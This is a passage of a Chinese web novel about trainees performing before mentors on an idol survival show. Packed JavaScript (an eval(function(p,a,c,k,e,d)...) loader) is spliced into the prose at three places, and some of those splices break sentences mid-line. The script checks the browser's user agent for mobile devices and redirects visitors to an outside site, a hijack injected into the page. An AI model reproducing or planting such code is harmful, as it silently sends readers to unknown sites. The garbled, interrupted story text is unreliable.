先前他们在大前辈面前腼腆放不开不是假的，然而一旦投入到初舞台的表演中，就连上台时同手同脚的贺湜曼都像是自冬眠中醒来，整个人都鲜活起来。 几分钟前未能感受到的生命力，在不断跳动的节拍中，蓬勃而出。 基本功扎实，核心稳，动作就极具观赏性，收放自如。 《killing moon》原版的编舞就很复杂，改编后的版本不但没有削弱，反而多了些炸场的高难度舞蹈动作。 三人整齐划一卡着节奏一截一截不断往后仰倒，膝盖曲起向下逐渐贴近地面，后背则近乎躺倒在地，却依然与地面保持着一定的距离。 下腰到即将后背接触地面的那一刻，音乐骤然一停，他们也随音乐瞬间终止一切动作。 咚，咚—— 间奏骤然重新响起，猛烈冲击听觉，三个纹丝不动的人如弹簧般光速向上弹起，站直的同时进入最后的狂舞。 节拍卡得太准了，看得练习生们龇牙咧嘴，接连做出给手的动作。 坐在第一排角落里的徐闻距离近，看得清楚，感觉凉气在自己肺里随之过了一遍。 太狠了。不愧是年轻，刚出厂没多久的新零件用起来就是猛，抗造啊。 腰伤重的人估计看一眼都心惊肉跳的。 ……不敢想他这种柔韧差筋硬的人做这动作会多可笑，贸然尝试肯定得刷爆他的医保卡。 想到这里，徐闻忍不住偷瞄了一眼身边的安夏纱，想看看YKC的人对这个他认为很精彩的舞台，会有什么反应。 看清安夏纱的反应后，徐闻愣了两秒，内心莫名干涩地收回视线。 安夏纱根本就……没有反应。 他坐下后就一直在犯困，不管是出于礼貌还是顾忌镜头在拍，他自然是没睡。但安夏纱明明好好地睁着眼，也有看向舞台的方向，却像是毫无波动。 似乎在安夏纱看来，这个令徐闻看得恨不能鼓掌的精彩舞台，也就是，普通。 “……” 看似仅仅是一个小小的态度差异，实则给了徐闻内心沉重一击。 这体现的是，认知差异。 在徐闻看来姜霈他们点燃了舞台，实力强劲，能拿A。 安夏纱却显然不觉得惊艳。 巨大的鸿沟犹如在此刻具现化，徐闻被自己的脑补打击到心神恍惚，后半段表演无论如何无法再投入进去看了。 他不知道的是，事实没有他想象的那么可怕，安夏纱仅仅就是……看不太清，很难做出特别的反应。 如果安夏纱知道徐闻在想什么乱七八糟的，他大概会说一句，套中人是被自己吓死的。 徐闻在这档节目里走不远，从根本上，差的不一定是实力，而是心态。 导师们对姜霈他们可圈可点的舞蹈不吝啬夸赞，也很直接地点出了林丞和姜霈唱功上的不足。 姜霈相对好些，主要是高强度舞蹈下肺活量跟不上的问题，导师们透过耳返能听到近乎喷麦的粗气声，本来似乎能唱上去的高音，也因气息不足断断续续。 唱跳最难的地方就在这里，现今出道的团体里，能在高强度跳舞的同时完成无暇全开麦的，也仅仅只有YKC出身的两个顶级团。 《星光熠熠》初舞台现场是全开麦，播出后是否修音这块水很深尚未可知，导师们听到的倒都是原原本本的。 林丞的问题是正处在变声后期，声线跟脸蛋怎么看怎么割裂。 但变声更多的是影响音色，再就是沙哑，林丞没法甩锅给变声期，他纯粹是唱功不太行。 他是三人中唱的最难入耳的，音色，技巧，单拎出来很难评价，舞蹈却看得出最有天赋。 出乎意料的，最紧张的贺湜曼是唱功最好的一个。有超出年龄的稳，音色也动听，一开口就是大主唱预订。 最令导师满意的是，能担当大主唱的大多偏科严重，贺湜曼在群舞中却能很好地跟上。 除了带点婴儿肥看着略幼齿，贺湜曼眉目清俊，竟隐隐有能出道的潜力。 唯一的问题是，表演结束，贺湜曼又回归到鹌鹑一般期期艾艾的样子，太怯场的话也不行。 三人都有不足和需要提升的地方，配合却很默契，像一个真正的团体，整体瑕不掩瑜。 宣布等级之前，陆诤兴致盎然地跟秦昭闲聊：“如果让你预测的话，你觉得导师们会给出什么等级？” 一边的木泽霖听到他们讨论这个，忍不住不动声色地竖起耳朵，想知道秦昭会不会跟自己预测的一样。 秦昭话不多，却很少拒绝陆诤提出的各种问题，不会让他的话落在地上。 “贺湜曼A。” 秦昭是认真思考权衡过的，他有自己的一套打分标准。 刚刚在观看舞台的过程中，秦昭就有在心里过一遍三人分别需要改进的问题。 本质不是想要给别人打分。 秦昭更多的是，在通过别人的错题本，提醒自己需要避开或注意的地方。 “姜霈B，”秦昭一句多余的话都没有，也没有停顿，像是早就想好了，“林丞C。” 下一秒，木泽霖跟陆诤几乎同时高兴地脱口而出。 “我也这么想……” “一样！” 陆诤一愣，歪过脑袋，朝着木泽霖咧嘴笑。 被一左一右两人同时赞同的秦昭没什么特别的反应，微微点头坦然接受：“嗯。” 木泽霖耳根几乎是瞬间就因尴尬而爆红。 虽然公共场合，也算不上偷听……但贸然加入他人的对话，到底是有些不合适。 不小心做出这种缺乏边界感的事，木泽霖正要陷入懊悔的内耗，就看到陆诤先是自顾自拉起秦昭放在膝盖上的手，跟他自己“啪”的击掌。 随后放开秦昭，爽快又开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦昭眼神掺杂了些许陆诤看不懂的东西，正当陆诤疑惑秦昭是不是吃错药了的时候，秦昭淡淡收回视线：“没什么，我以为你脖子上有蜘蛛。” “蜘蛛？！？！” 陆诤跟被蜜蜂蜇了尾巴的狗一样，差点跳起来，胡乱对着自己的脖子降龙十八掌般拍了半天。 秦昭跟看傻子一样：“……你在拍什么。我说了是’以为’，就是看错了的意思。” 陆诤：“…………” 他磨着牙感到寒心：“秦昭，你耍我！！” 秦昭不为所动地目视前方提醒：“导师要公布结果了。” 陆诤比谁都好转移注意力，立马不再跟秦昭掰扯，看向导师。 三个人一致得出的结论，确实挺准。 贺湜曼A，姜霈B，林丞C。 第一个出场说不上要求会更宽松还是更严格。 这个评级，对尚未进行测评的练习生们来说，是一剂强心针，信心莫名大涨。 而导师们欣慰开了个好头，自然也更期待下一位出场的选手。 莫汕和原翊杉，就是排在第二位的“幸运儿”。 一出场，导师们和现场的反应，就比第一组更强烈些。 原因很简单，这两名练习生，比前面的三个，上镜抓眼的多。 5. 第 5 章 这个抓眼不止是好看，也是某种外形上的记忆点。 “这个莫汕有点狐狸相诶！” “谁想到让这俩一起组队的，原翊杉看着很适合演那种正派忠心的护卫，一看就可靠，莫汕……” 聊天的练习生本来想形容他“看着有八百个心眼子”，意识到这个措辞不合适，容易得罪人，就换了个褒义的说法：“莫汕像那种计谋很多的，呃，七窍玲珑心？” 说完后他自我感觉这波急中生智算超常发挥，满意地摸着下巴嘿嘿点头，殊不知未来他会被搞笑reaction二创单独截取出去，时不时就被拎出来反复处刑。 很快他就会知道，“人不可貌相”这句话，实属经典咏流传。 原翊杉面相周正，眉目深，下唇厚，散发着帅气但老实人的气息。 莫汕正相反，眼尾上扬的丹凤眼，鼻梁上一颗位置恰到好处的痣，眼皮薄嘴唇也薄，不笑是凉薄相，笑一笑像意图搞杀猪盘骗人倾家荡产。 骨相好，两人都上镜。 练习生们早就知道，镜头拍出来的效果跟实际肉眼看到的会有所出入。很多现实中看着好看的人，经过镜头拍出来缺点被无限放大，一整个面目全非。 比如刚刚的姜霈，在现场看很清秀，妆容也适合他。但在他身后的大屏中，姜霈五官变寡淡了许多，镜头吃妆，视觉效果截然不同。 两相对比过于直观，也很残忍。 这也是为什么，不久前秦昭入场时，会引起骚动。 不仅仅是因为秦昭自带话题，来参加节目的不乏演过小成本网剧男主的三四线演员，几百万粉的网红。 抛开全国爆火的热度不提，秦昭出现在大屏上的那一刻，练习生们不自觉被秦昭吸引，看不到别人。 很多人认为这是见义勇为的监控视频能火遍全网的核心原因。 一个月都未消散反而愈演愈烈的讨论度，单靠善良不够，敢于直面持刀者的勇敢者少见，但不是绝无仅有。 俗气点说，热度能传播这么广，这么持久，秦昭突出的外形和气质占了很大因素。 换档节目，莫汕说不定能成为公认的门面，在《星光熠熠》却完全没可能。 “导师们好——” 方星琰握着笔抬头，不着痕迹的一愣。 他的视线在莫汕穿的那件“演出服”上停留了两秒。 是方星琰曾经参加活动穿过的某奢牌超季，同款。 看似简约的大众款式，实则裁剪，版型，用料……一切恰到好处。撇开品牌溢价，贵有贵的道理。 是巧合还是有意？ 他不动声色翻看了下两人的公司，名不见经传。 小公司会给练习生准备这么超预算的服装吗？ 方星琰爱豆出身，表管一流，神色如常地提问：“你们对自己的个人定位是？” 莫汕：“vocal。” 原翊杉：“舞担。” 简单聊了几句，就在导师们打算直接让他们开始表演时，莫汕实在没忍住，举起手表示自己还有句话想说。 声乐导师米雅很好说话的重新拿起麦克，示意莫汕没关系：“有什么要补充的吗？” 莫汕老老实实地点头，眼神中充满渴望：“我有个请求。” 原翊杉眉心一跳，熟悉的头痛感再次袭来，想阻止已然来不及。 莫汕这个人天生读不懂空气。他试图读，读得一塌糊涂。 有什么想知道的，他很难憋住，会抓住机会打破砂锅问到底。 “lenziD老师。”莫汕一开口，狐狸相自带的狡黠氛围就散得一干二净，神态和语气，都带着点清澈的愚蠢。 lenziD抬头，没想到还有自己的事儿。 “如果我能拿到A，”莫汕完全不懂什么叫迂回，直接图穷匕见：“D老师能摘下墨镜，让我看看你长什么样子吗？” 原翊杉：“………………” 你这个该死的好奇心害死猫的家伙，我迟早要跟你同归于尽。 这是适合八卦的时机吗！！ 显然，莫汕认为是。 他好奇心总是很强烈，如果能有机会得到解答，就不能拖到过夜。 lenziD：“？” 以许年纶为首的另外四名导师，则眼神亮晶晶的，默默齐刷刷扭头期待地看着lenziD。 说实话，莫汕提出的要求，是连在座的四位导师，也非常好奇的神秘事件。 Rapper界的传奇，D老师，出道至今已有五年，却从未在镜头前摘下过他的墨镜。 LenziD到底长什么样，堪称内娱未解之谜。 有人说他是因为眼睛太小不好意思，有人说他是长得太面善，怕大家知道他长什么样之后，再出diss的歌就没那么凶了，还有人说他是双眼皮做失败了，不想被其他rapper嘲笑胡子拉碴的糙汉也有爱美之心。 然而无论外界衍生出多少逐渐离谱的猜测，LenziD的墨镜依然焊在脸上，仿佛跟他本人牢牢绑定，一提到墨镜就会想到lenziD。 练习生们顿时跟着起哄，免费的乐子谁不爱看。 “答应他！答应他！答应他——！！” 不知道的以为莫汕在跟lenziD求婚。 一生努力冷酷的lenziD从未被这样贴脸开大，一时间竟然犹豫着没有直接答应，而是稳住酷酷的表情谨慎反问：“……你对自己很有信心？” “那倒不是。”莫汕只说大实话：“主要是，成功了我就满足了多年的好奇心。没成功，我也不吃亏啊。” lenziD：“……” 所以你就准备连吃带拿？ “那我岂不是亏了。”lenziD保持面瘫脸，“这样吧，你要是没拿到A。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156036|180559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他想了一个劝退的方法：“你就倒立着下台去。” 莫汕嘴比脑子快：“好，没问题！如果我没拿到A，我跟队友翊杉一起倒立下去。” 原翊杉震惊地扭头：“…………我没答应！” 谁允许了。 我不同意！ 人怎么能捅这么大篓子。你要出洋相不要带我一起啊！！ lenziD满意的同时，总觉得莫汕答应的太快了，掩饰着那点忐忑面无表情发问：“你不怕我不想摘墨镜，故意卡你不给A？” 莫汕大智若愚。 “没事，另外四位导师也很好奇D老师摘墨镜的样子啊。” lenziD突然感到四位同事的眼神如狼似虎，宛如踏入陷阱，遭遇十面埋伏：“………………” 原翊杉脸色麻木，预感lenziD导师迟早给他们量身定制一首diss的歌。 受不了什么都不怕的愣头青了。 有了这个赌注，一切都变得有趣了起来。 米雅戴好耳返，真心希望他们两个能发挥好，顺便也让她满足下好奇心，微笑鼓励：“不要失误。” 莫汕单膝点地蹲下，原翊杉背对着他站在他身后，两人静静等待伴奏响起。 练习生们倒是不担心导师们会为了让lenziD摘墨镜而给A。 五位导师入行多年，再清楚不过网暴的可怕，一直都是靠谨言慎行避免挨骂。这届网友格外严苛，一旦出了为赌注草率给A的不公平事件，导师跟莫汕都要倒霉。 所以这赌注非但不意味着莫汕能占到便宜，反而还可能导致导师们标准线拉高，否则有被观众质疑的可能性。 这也是原翊杉感到头痛的根本原因。 他在心里默念了n遍“莫汕你个大傻蛋”，调整心态，更加严肃对待接下来的舞台。 前奏响起，方星琰又是微微挑眉。 练习生们都听出来了，选曲是方星琰所在的NF团，最火的歌。 去年刚出的，在激烈厮杀中闯进了年榜前三。 “真敢选啊……” “方老师就在面前坐着，这可是原唱！一个舞蹈错误，一个音调不准，都无所遁形啊，好勇！” “莫汕都敢用拿A当赌注了，他俩肯定很强，双A预定。” 练习生们都在讨论，秦昭则是在听到前奏的时候，从记忆里翻出了上辈子这首歌对应的某个小出圈的热梗。 他隐约记得，在播出的第一期正片里，有足足四组练习生的初舞台选曲撞了同一首歌。 就是NF团的这首大热曲。 而观看选秀的星推荐官们，对这四个舞台，评价堪称一个天三个地。 秦昭不记得细节，本来不知道莫汕跟原翊杉的舞台，是成功的那个，还是沦为缺德剪辑博主玩//物的其中之一。 莫汕一开口，秦昭就知道他们是哪一边的了。 6. 第 6 章 “放弃无谓的挣扎——” 莫汕卡着节拍抬头，精准捕捉摇臂镜头的方位，左手在眼周做出对应的手势，肩膀随着节奏左右晃动。 “ok，ok~” 背对着观众开场的原翊杉先是侧过脸，定格两秒给了大家一个被特写帅到的机会，随后一个利落中莫名透着狼狈的后滚翻，跟莫汕交换位置，闪亮登场。 前所未有的腹泻式低音炮rap震撼全场，横空出世。 没有给人一丝丝防备。 “走到分叉的路口你说命运让我放弃往前走我说你管不着我就偏偏要强求，No no，No no~” 原唱方星琰导师眼底的期待渐渐凝固：“…………” 如果你想憋死我，不必如此考验我。 ……这歌是这么唱的来着吗？原唱一时间陷入自我怀疑。 原翊杉跟莫汕丝毫不受外界干扰，配合默契，一看就是练习时会彼此欣赏的灵魂挚友。他们踩着强势的鼓声开始齐舞，肉眼可见地越跳越投入，越跳越兴奋，如入无我之境。 舞台中心的两个人热情挥洒汗水，每一个动作都做到人类四肢能开发的极致，大屏上的超清近景镜头，甚至能看到原翊杉额前滑落甩飞出去的汗珠。 看台上的练习生们被震撼到一时无声，诡异的安静了许久，直到有一个人配合地给予捧场的欢呼：“牛逼——！！” 现场氛围瞬间被点燃，大脑当机的练习生们像是被按下了重启键，都龇牙咧嘴笑着拍手吹口哨，炒热气氛。 终于得到大家的现场回应，莫汕和原翊杉，肉眼可见的跳得更加卖力，俨然要在舞台上燃烧自己，不留余地。 不断有人在不自觉模仿莫汕的表情管理和独特的咬字，被感染到一般重复了一遍：“放弃无谓的挣扎~~ok，ok！” 莫汕模仿大赛出现人传人现象，如迅速扩张地盘的病毒式洗脑，引起争相复读的热潮。 一时间演播厅内，都充斥着仿佛永不停歇的欢呼。 导师们：“………………” 米雅老师握着麦克的手，抬起又放下，最终实在没绷住，露出一个妥协投降的笑容。 声乐导师米雅跟着节拍边点头边微笑：“ey，ey！” 打不过就加入。 副歌的高潮部分是整首歌的点睛之笔，一段极考验体能与核心力量的倍速舞。 地狱级别的难度，翻跳大神都轻易不敢碰。 舞台中央的人，完全是灵魂都随着对舞台澎湃汹涌的爱意燃烧了。 当莫汕跟原翊杉舞出残影的那一刻，一直表情麻木的方星琰心情复杂难言的吐出口气，也加入到全场炸开锅的氛围中，站起身跟台上的人同步一起跳。 原唱都起立了，全场顿时沸腾的像噼里啪啦炸开的油锅，不少练习生纷纷跟着站起来，一起在自己的座位上跟跳。 感知到排山倒海般的热烈回应，莫汕激动的从脸红到脖子根，跟原翊杉乱中抽空对视一眼，彼此眼中都透着强烈的满足，唱跳更加带劲了。 秦昭：“……” 秦昭是真心的，很羡慕这种天赋异禀的钝感力，一定从小到大都过得很快乐。 最后导师们全都站了起来。 在最后一个音符落下后，国内顶级的唱跳solo歌手柯霁屿导师，还给台上的人比了两个大拇指，示意你们赢了。 原唱方星琰导师，为这两个人倾其所有的努力鼓掌。 导师们看似是被莫汕和原翊杉唱嗨了，实则是没招了。 莫汕跟原翊杉体力消耗过大，大口大口喘着粗气，嘴角边却挂着心满意足的笑容。 看得出来，他们因刚刚的表演，真心实意感到很幸福。 也正因此，五个导师你看看我，我看看你，轮流拿起麦克想发言，又欲言又止地噎在喉咙里，不上不下。 导师们互相使眼色，都想推给对方先开口。 “……” 怎么办，这种选秀界少见的案例，想借鉴前辈高情商的话术，都没有可供参考的答案啊。 这俩当事人认真的一塌糊涂，表情管理丝毫不油腻，满脸都写着真挚，在场的任何一位观看者都绝不会怀疑，他们对舞台的投入度与热爱。 导师们都没法说出重话来的原因就是，两人明显有别于那种实力很差但莫名自大狂妄的类型，看得出来他们确实对自己实力的强弱有很错误的认知，但是……这种认知错误，只让人哭笑不得，完全不讨人厌。 太喜感了，感染力一流，从头到尾都很卖力，一点都不划水。 简直是在舞台上把自己给燃尽了，成功炸翻全场。 俩人唱痛快了，跳痛快了，练习生们也笑疯了，节目效果也有了。 该怎么在不伤害到两人对舞台热情的同时，委婉地指出……你俩很好，只是似乎不太适合这一行？ 导师们有苦难言，练习生们却没有这种心理负担，笑得别提多灿烂了。 莫汕大汗淋漓。 他未雨绸缪地从自己的口袋里拿出准备好的面巾纸，犹豫了一下，还是将唯一的纸巾递给了原翊杉。 “擦擦。” “哦。”原翊杉接过来就擦，于是斟酌着措辞正想开口的lenziD，就看到原翊杉脑门上被擦出一道道姜黄色的粉底分界线，眼看着还要继续往下擦脸，lenziD被内心的不忍和善意驱使，脱口而出：“别擦了……！” 原翊杉手上的动作一停，茫然又有点不知所措地看着lenziD，不知道自己是不是做错了什么。 他看不到自己现在的模样，不知道莫汕无意之中，又坑了他一次，黑历史和笑料注定永流传。 思考两秒，原翊杉赶紧放下手，两手郑重地交握在身前，遇事先道歉：“抱歉老师，我态度不够端正，不该在您要发言的时候擦汗。” 只是想善意提醒的lenziD莫名感到凄凉：“…………” 在你们心里，我到底是个什么三头六臂的恶人形象。 Diss类的歌还是出太多了，如今的风评是我应得的。 陆诤头脑简单没能get到lenziD的体贴，对原翊杉深感同情，跟秦昭咬耳朵抱不平：“果然lenziD老师的D是diss的D，好凶啊，汗都不让擦。” 绝大多数人不清楚，lenziD这个艺名，其实纯粹是源于他真名姓邓，叫棱恣。这名字太文绉绉，没有rapper谁挡鲨谁的气势，所以他在此基础上改了改，叫lenziD。 结果因为他早期脾气太爆，导致还得了个外号叫diss哥，像陆诤一样误会艺名由来的人特别多。 秦昭默了默，指指大屏幕：“你要不要看看，原翊杉脑门上的’王’字？” 陆诤：“？” 他愣愣依言扭头，定睛看了会儿，发出恍然大悟的声音：“哦…………” 刻板印象害人！ lenziD老师只是不想让原翊杉从老虎变成花豹罢了，老师好，陆诤……陆诤顿时老实：“是我草率了。” 秦昭看陆诤很尴尬的样子，迟疑地在他肩膀上拍了两下，以示安慰。 导师席上，眼看着lenziD被打击到闭上嘴放下了麦克，米雅善解人意地接过了话头，忍着叹息先给予鼓励：“孩子们，刚刚的舞台，你们毫无保留的能量令我印象深刻，也点燃了现场的气氛，无疑是一个令老师们和其他练习生都收获开心的舞台！” 莫汕的眼睛随着米雅的发言，越来越亮，仿佛能看到他背后毛茸茸的大狐狸尾巴甩来甩去。 原翊杉稍微聪明点，从热血上头的忘我状态中找回了点理智，隐约品出了话里话外欲抑先扬的意思，不由得抿唇紧张起来。 “但是……” 这个转折词一出，莫汕暗藏期待的眼神顿时像被泼了冷水的火苗，亮度都微弱了些，看得米雅到嘴边的话吐出来得更艰难了。 艰难归艰难，米雅还是秉着公平公正说了。 “按照唱跳常规的标准来评价，可以说是，一塌糊涂。” 这话听着狠，实则很客观。 莫汕和原翊杉极为同步的睁大眼睛，看得出真心没料到会得到“一塌糊涂”的评语。 差到这种程度了吗……？ 一旦第一句说出口，接下来的就容易得多，导师们轮流把两个人的舞台问题一针见血地指出来。 不是为了打击他们的自信心，而是早点让他们认清事实，有针对性的改正，对他们未来的发展有好处。 出乎练习生们意料的是，莫汕和原翊杉心理素质比他们想象的要强大的多。 也可能是钝感力救了他们，总之，导师们明明将他们全方位打击得体无完肤，两人除却最初明显茫然失落，后续却听得很认真，也没有逃避导师们的视线。 换个人在台上大概要无地自容了，莫汕和原翊杉却只是在听完后心有灵犀地同时鞠躬，大声道谢。 莫汕：“谢谢老师们的指正，我学到了！” 原翊杉：“果然不能闭门造车，我们太不谦虚了。” 这态度实在太好，导致米雅突然涌出点疑惑，也直接开口问了：“……你们之前，没有老师告诉你们这些吗？” 看这态度，也不像是执迷不悟走弯路的啊。 “没有。”莫汕实话实说，“我们公司就是很不靠谱的草台班子，连个正经老师都……唔唔唔！” 原翊杉条件反射捂住莫汕的嘴，朝着导师们镇定尬笑：“公司很注重培养我们的自主学习能力。” 米雅服了：好的懂了。你们是被骗进了一个贼窝里。 意识到两人全靠自己乱摸索，米雅突然又觉得这两个人还是有救的。 “稍等，我们讨论下。” 导师们关掉麦克，凑在一起讨论到底给他们什么等级。 激烈的辩论过后，方星琰坚持给F。这是原唱最后的倔强。 米雅则认为他们拥有可能性，外形可圈可点，关键是心态好还虚心，有潜力在的，可以给个D。 Solo出身的柯霁屿认同方星琰的严格，赞同F。 相比两位前辈级爱豆的高要求，许年纶作为曾给多个大热团编舞的舞者，反倒偏向于鼓励下初出茅庐怀有热情追梦的学员，跟米雅站一边。 二对二，最终决定权来到一直保持沉默的lenziD手中。 被四个人注视的lenziD：“……” 又我？ 总觉得来到这节目后，就一直在被迫害。 lenziD什么都没说，他只是道：“那一会我直接公布结果。” 讨论结束。 看lenziD这冷酷的态度，米雅简直不想面对：这太残忍了，谁忍心。真不能给孩子们个D吗，没有功劳，也有苦劳啊！ 峰回路转。 lenziD藏在墨镜后的眼睛闭了闭，干脆宣布：“莫汕，D。原翊杉，D。” 米雅：“！！！”D老师你竟然是兽面人心！ 方星琰：“……”也罢，原唱至少有版权费当精神损失费。 两人本来抱着拿A的信心来，又做好了拿F的准备，没想到最终得了D。 原翊杉刚要笑，就看到lenziD老师继续开口。 “行了，不用说感言了。你俩，愿赌服输，倒立着下去吧。” 原翊杉短暂失忆后立刻崩溃：“………………” 老师您还没忘了这茬啊？ 莫汕坑爹不是一天两天，他倒是很痛快地“嗯！”了一声，看起来还很遗憾：“唉，没把握住机会，真可惜。” 原翊杉正琢磨着lenziD老师到底是认真的，还是开玩笑而已，就听到队友梅开二度。 莫汕：“那老师，我如果主题曲测评能升到A的话，你能摘墨镜给我看吗？” 原翊杉两眼一黑：“…………” 注定要输的赌局为什么要主动发起，是原翊杉一辈子都搞不明白的课题。 什么叫不忘初心。 lenziD：“……你来，你升。你升了我单独摘给你看。” 莫汕两眼放光，动力十足：“一言为定，老师放心，我要是没升上去，还会和翊杉一起倒立给你看的。” 说完，他干脆地两手触地，立马实施倒立，保持着头朝下的姿势催促原翊杉：“翊杉，我们走！” 原翊杉：“………………” 我到底上辈子做了什么孽。 他犹豫着站在原地，无比挣扎地展开激烈的心理斗争。 是抛下莫汕直接走下台，还是跟他一起丢脸。 莫汕脑袋逐渐充血，依然独自开朗，不忘鼓励：“翊杉，别怕，区区倒立，你可以的！” 原翊杉面无表情顿了顿，最终杀气腾腾地弯腰，倒立起来，以极快的速度，双手倒腾着朝后台冲刺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有个练习生实在没忍住舒了口气吐槽：“感谢导演，空气都变得清新了。” 眼球也净化了。 能不能来个人把台上那个每句话都要炫耀年龄优势的十六岁哥弄走，受不了了。 这是看脸看实力看性格的选秀，不是谁小谁出道。 这节目跟刘璋泯差不多大的练习生有好几个，除了刘璋泯把自己当宝宝，其他人都是凭实力说话，至少不会这么用力过猛凹没断奶的小孩人设。 实在是有点腻。 第一组出场的贺湜曼跟刘璋泯也是同龄人，前者紧张到结巴是自然流露的可爱，而刘璋泯是硬凹，看着哪哪都不自然。 想靠泛奶味吸引妈粉没想象的那么容易，必须得是《真》清新懵懂才不讨人厌，属于需要谨慎选择、寻常人难以驾驭的路线。 怎么能十六岁……就这么，油了。 实力差，情商也差的明显，导师们很干脆地给出F，把人送走。 本以为该来一个清爽一点的了，没想到接着出场的二人组，油腻程度有过之而无不及。 不但油，还麦太狠。 “直男下手没轻没重”本来是中性的调侃，用在这两人身上是纯纯贬义。 工业糖精麦太硬了，摆在明面上，到了令人不适的地步。 眼看着两人差点在舞台上恨不能直接接吻，耿直的莫汕没做好表情管理，五官皱成一团，战术性后仰。 原翊杉警惕地瞪着莫汕，不允许他再轻易发言，老是管不住嘴，等播出被网暴就老实了。 于是莫汕把那句“到底谁想在选秀里看练习生亲嘴”咽了回去。 导师们同样心里苦。 米雅老师：“…………”麦艾斯。 长得好看点就算了，两个稠男在我面前搞这套，回家开个房吧，对得起谁。 《星光熠熠》通告费还是给少了。 她兢兢业业工作，不是为了跑来受这罪的，求放过。 方星琰也是男团出身，自然知道这两人博眼球那点小心思，他全程保持冷漠脸，看得拳头都硬了。 低级，太低级。 ……谁教你们这么麦麸的。 随机吓死一个大前辈。 粉丝磕cp本质是爱看兄弟情，看的是日常互动，偶尔真情流露，不是让你们硬麦。台上的人显然不懂cp粉不是什么鬼东西都吃，这样麦只是low，硌牙。 零个人爱看。 忍耐到表演结束，方星琰头也不抬，完全没有笑。 “你们走错节目了吧。我们这里不是恋综。” 这话说得有点太狠了，完全没给留面子。 两个很让人头痛欲裂的人间油物，瞬间就在这句话带来的尴尬到空气凝固的氛围中，变得正常了。 不再硬凹后，两人看着都没那么令人不适了，收起那副假兮兮的样子后，顿时清爽了n个度。 毫无悬念，不但硬麦唱跳还稀烂的两个人，拿了F后光速被导师们赶下场。 演播厅内的氛围随着连续几个F的出现，越来越down。 导师们面色不好看，练习生们也大气不敢出，整个密闭空间内都蔓延着低气压。 第一组出场就出了一个A，给了太多人A很容易拿到的错觉。 结果转眼一连十个舞台过去，无一不令人失望，连一个拿到B等级的练习生都没有，甚至C都没几个。 D和F扎堆。 导师们急需一个能彻底扭转当下低迷氛围的舞台，一个能让所有人满意并笑出来的练习生。 尚未上台的练习生们也被频频出现的D和F搞得人心惶惶，同样急需要一个成功的舞台，来帮助他们重新树立信心。 导师们脸色很臭，心情也糟糕，像他们这种水平不太稳定的，本来能拿C的，说不定也会被负面惯性影响，分到D甚至F去。 大家都渴望一颗，从天而降的星星，照亮黯淡无光的长夜。 就在这时，秦昭被工作人员通知，可以去后台准备了。 看到秦昭起身，始终偷偷有意无意观察着这边的练习生们，顿时精神一振。 救星来了！ 7. 第 7 章 “我看到秦昭往后台走了……为什么我也跟着紧张，这很诡异。” “一个月前的我完全想不到能跟秦昭出现在同一个节目里，这感觉实在酸爽，有没有人懂。” “我昭哥是不是没唱跳基础，我是舞蹈老师出身，好想跟他分到一个等级，我愿意专门给他开小课哈哈！” “你想得美……这种好事估计轮不到咱们。” 秦昭实在太火，不论是看过监控视频后发自内心崇拜觉得他帅想认识，还是想找借口跟他熟悉起来蹭镜头，哪一种在节目里都不在少数。 练习生们的躁动，坐在台前的导师们都察觉到了，米雅老师疑惑地摘下耳返，回头看了看背后的看台。 出场顺序都是节目组提前安排好的，米雅提前翻看下一个出场的练习生简历，想知道能引起这么大反应的到底是什么人。 一看名字，米雅就懂了。 社会新闻的破圈程度远超娱乐圈的风吹草动，关注度不限年龄性别阶级。 她放下麦克，跟同样看向她的方星琰交换了一个眼神，两人心照不宣。 “你看过？” “你也？” 在米雅跟方星琰对完暗号后，许年纶也凑过来难掩兴奋的加入：“词条阅读量一个月过去都超过百亿了吧？这个热度，我怀疑在座的没有人不知道秦昭！” 百亿是什么概念，每年暑假爆出来的顶流演员也得花好久才能到达这个数据，这就是意外爆发的社会新闻的威力，完全是指数级扩圈。 一夜之间几乎没有人不知道秦昭的名字。 纯粹的偶然，概率极低的必然。 任何人都无法复刻秦昭的来时路。 可以说五个导师出道多年攒下的人气，都抵不上秦昭这一个月打下的基础。 大火靠命。 更多是做幕后的编舞老师许年纶关掉麦克，心情复杂地小声感慨：“我的百科阅读量才只有二十万……秦昭相关的抖音词条累积都百亿了。” 最初爆发热度的微博更是数据惊人，真正的全平台大爆。 本来热度逐渐回落，结果秦昭要参加《星光熠熠》选秀的消息适时地续上了这波热度，再度带来巨大的讨论量。 任何热度超高的话题都会夹杂着负面，吃引战的流量。 秦昭直面砍伤路人的疯子救人本来是绝对百分百正面的事件，依然有人不知出于什么心理，言之凿凿阴谋论是作秀，明明被砍伤的路人还没有彻底康复出院，砍人的疯子也早就被抓了。 再好的人，太火了都会引来莫名其妙挑刺踩骂的黑子。 秦昭要加入《星光熠熠》的消息一出，黑子立刻开始热演，表示果然秦昭从一开始就是奔着进娱乐圈圈钱，是消费善良，“背刺”真心感谢他的网友。 正常人对这种荒唐言论忍不了一点，立刻撸起袖子冲上去为秦昭抱不平。背刺谁了，没有对不起任何人，凭什么不能选秀？长得帅人品又好，就去！ 秦昭南兴科技高中出身转去选秀，也有很多人反对，认为既然学习好就不该当什么爱豆，支持者们则表示对别人的人生不要太有占有欲。 有关秦昭参加选秀这个决定是否“正确”的激烈辩论每天都在上演，活人泛滥，越吵越火。 